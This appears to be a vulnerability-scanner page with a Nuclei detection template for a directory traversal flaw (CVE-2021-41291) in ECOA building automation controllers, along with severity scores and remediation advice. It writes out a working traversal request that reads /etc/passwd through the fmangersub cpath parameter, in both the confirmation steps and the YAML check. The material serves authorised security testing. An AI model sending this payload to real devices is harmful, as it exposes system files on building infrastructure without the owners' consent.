ECOA Building Automation System - Directory Traversal Content Disclosure

highseverity

7.5CVSS score

82.7%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

The ECOA BAS controller suffers from a directory traversal content disclosure vulnerability. Using the GET parameter cpath in File Manager (fmangersub), attackers can disclose directory content on the affected device

Impact

An attacker can exploit this vulnerability to access sensitive files and directories, potentially exposing sensitive information.

Fix

Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in the ECOA Building Automation System.

How to confirm it

Send: GET /fmangersub?cpath=../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2021-41291 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-41291

info:
  name: ECOA Building Automation System - Directory Traversal Content Disclosure
  author: gy741
  severity: high
  description: The ECOA BAS controller suffers from a directory traversal content disclosure vulnerability. Using the GET parameter cpath in File Manager (fmangersub), attackers can disclose directory content on the affected device
  impact: |
    An attacker can exploit this vulnerability to access sensitive files and directories, potentially exposing sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in the ECOA Building Automation System.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41291
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5670.php
    - https://www.twcert.org.tw/en/cp-139-5140-6343c-2.html
    - https://www.twcert.org.tw/tw/cp-132-5127-3cbd3-1.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-41291
    cwe-id: CWE-22
    epss-score: 0.82689
    epss-percentile: 0.9967
    cpe: cpe:2.3:o:ecoa:ecs_router_controller-ecs_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ecoa
    product: ecs_router_controller-ecs_firmware
  tags: cve2021,cve,ecoa,lfi,traversal,vuln

http:
  - raw:
      - |
        GET /fmangersub?cpath=../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

References

Use this check only on systems you are authorised to test. Where the data comes from